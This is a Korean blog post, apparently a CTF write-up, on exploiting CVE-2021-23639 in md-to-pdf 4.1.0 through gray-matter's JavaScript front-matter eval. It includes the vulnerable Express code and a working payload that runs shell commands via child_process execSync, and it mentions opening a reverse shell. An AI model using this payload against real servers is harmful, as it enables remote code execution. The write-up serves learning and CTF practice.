티스토리 뷰

728x90
반응형

 

문제 개요

RCE with md-to-pdf(v4.1.0) javascript library

 

코드 분석

{
	"name": "blinker-fluids",
	"version": "1.0.0",
	"description": "",
	"main": "index.js",
	"scripts": {
		"start": "node index.js"
	},
	"keywords": [],
	"author": "rayhan0x01",
	"license": "ISC",
	"dependencies": {
		"express": "4.17.3",
		"md-to-pdf": "4.1.0",
		"nunjucks": "3.2.3",
		"sqlite-async": "1.1.3",
		"uuid": "8.3.2"
	},
	"devDependencies": {
		"nodemon": "^1.19.1"
	}
}

위는 package.json 파일인데요. md-to-pdf 라는 모듈이 4.1.0 버전인 걸 확인할 수 있습니다. 그리고 해당 모듈에는 아래 취약점이 존재하는데요.

CVE-2021-23639

 

CVE - CVE-2021-23639

20210108 Disclaimer: The record creation date may reflect when the CVE ID was allocated or reserved, and does not necessarily indicate when this vulnerability was discovered, shared with the affected vendor, publicly disclosed, or updated in CVE.

cve.mitre.org

https://security.snyk.io/vuln/SNYK-JS-MDTOPDF-1657880

 

Snyk Vulnerability Database | Snyk

Snyk Vulnerability Database

security.snyk.io

공격 복잡도는 매우 쉬운 반면에 영향도가 매우 높은 취약점인걸 알 수 있습니다.

 

문제 파일에서는 아래와 같이 md-to-pdf 모듈을 사용해서 사용자 input으로 받은 markdown content 를 pdf 파일로 만들어주고 있습니다.

const { mdToPdf }    = require('md-to-pdf')
const { v4: uuidv4 } = require('uuid')

const makePDF = async (markdown) => {
    return new Promise(async (resolve, reject) => {
        id = uuidv4();
        try {
            await mdToPdf(
                { content: markdown },
                {
                    dest: `static/invoices/${id}.pdf`,
                    launch_options: { args: ['--no-sandbox', '--js-flags=--noexpose_wasm,--jitless'] } 
                }
            );
            resolve(id);
        } catch (e) {
            reject(e);
        }
    });
}
   
module.exports = {
    makePDF
};

 

아래는 위 makePDF 함수를 호출하는 부분인 라우터입니다.

router.post('/api/invoice/add', async (req, res) => {
    const { markdown_content } = req.body;

    if (markdown_content) {
        return MDHelper.makePDF(markdown_content)
            .then(id => {
                db.addInvoice(id)
					.then(() => {
						res.send(response('Invoice saved successfully!'));
					})
					.catch(e => {
						res.send(response('Something went wrong!'));
					})
            })
            .catch(e => {
                console.log(e);
                return res.status(500).send(response('Something went wrong!'));
            })
    }
    return res.status(401).send(response('Missing required parameters!'));
});

 

invoice 를 추가할 때 내용 부분으로 markdown content 를 받아오는데, 이를 makePDF 함수에 넣고 RCE 에 취약한 부분이 실행됨을 알 수 있습니다.

 

md-to-pdf 라이브러리 github 페이지에서는 아래 링크로부터 취약점 제보 내용을 알 수 있습니다.

https://github.com/simonhaenisch/md-to-pdf/issues/99

 

Security: gray-matter exposes front matter JS-engine that leads to arbitrary code execution · Issue #99 · simonhaenisch/md-to-

The library gray-matter (used by md-to-pdf to parse front matter) exposes a JS-engine by default, which essentially runs eval on the given Markdown. https://github.com/simonhaenisch/md-to-pdf/blob/...

github.com

 

markdown content 를 eval 함수로 그대로 실행시키는 gray-matter 라는 내부 모듈에 의해서 취약점이 발생하고 있다고 설명합니다.

 

해당 모듈의 코드를 추적해보면 내부적으로 아래 코드에서 eval 함수가 실행되는 것을 볼 수 있습니다.

https://github.com/jonschlinkert/gray-matter/blob/a5726b04f3167fadc764241deb545518c454eb82/lib/engines.js#L43

 

GitHub - jonschlinkert/gray-matter: Smarter YAML front matter parser, used by metalsmith, Gatsby, Netlify, Assemble, mapbox-gl,

Smarter YAML front matter parser, used by metalsmith, Gatsby, Netlify, Assemble, mapbox-gl, phenomic, vuejs vitepress, TinaCMS, Shopify Polaris, Ant Design, Astro, hashicorp, garden, slidev, saber...

github.com

 

문제 풀이

이제 실제로 아래 markdown 작성하는 부분에다가 페이로드를 입력하고서 전송해보았습니다.

 

전송한 페이로드를 아래와 같습니다.

'---js\n((require("child_process")).execSync("id > /app/static/invoices/rce.txt"))\n---RCE'

 

/app/static/invoices/ 경로에 rce.txt 라는 파일을 생성하고 내용으로는 id 명령어의 출력값을 넣도록 해보았습니다.

 

그랬더니 실제 해당 경로로 이동해서 rce.txt 파일의 내용을 확인해보았더니 RCE가 성공적으로 이루어진 것을 볼 수 있었습니다.

 

마무리

실제 문제 풀 당시에는 node js 기반의 revershell 을 열어서 flag를 획득했던 것 같습니다. 주말에 잠깐해보고 많이 참여하지 못해서 아쉬웠던 CTF 였습니다. 이번 CTF는 Cyber Apocalypse CTF 2022 - Intergalactic Chase 라는 이름의 CTF이고 Hackthebox 에서 주최했던 CTF였습니다. 문제 수는 총 61문제로 엄청 많이 나와서 Web, Pwn, Crypto, Reversing, Forensics, Misc, 그리고 Hardware 까지 다양한 분야에서 초급부터 상급 문제로 출제되어서 좋았던 것 같습니다. 초급자도 쉽게 접근할 수 있었던 CTF로써 더욱 재밌었던 것 같습니다.

 

728x90
반응형
댓글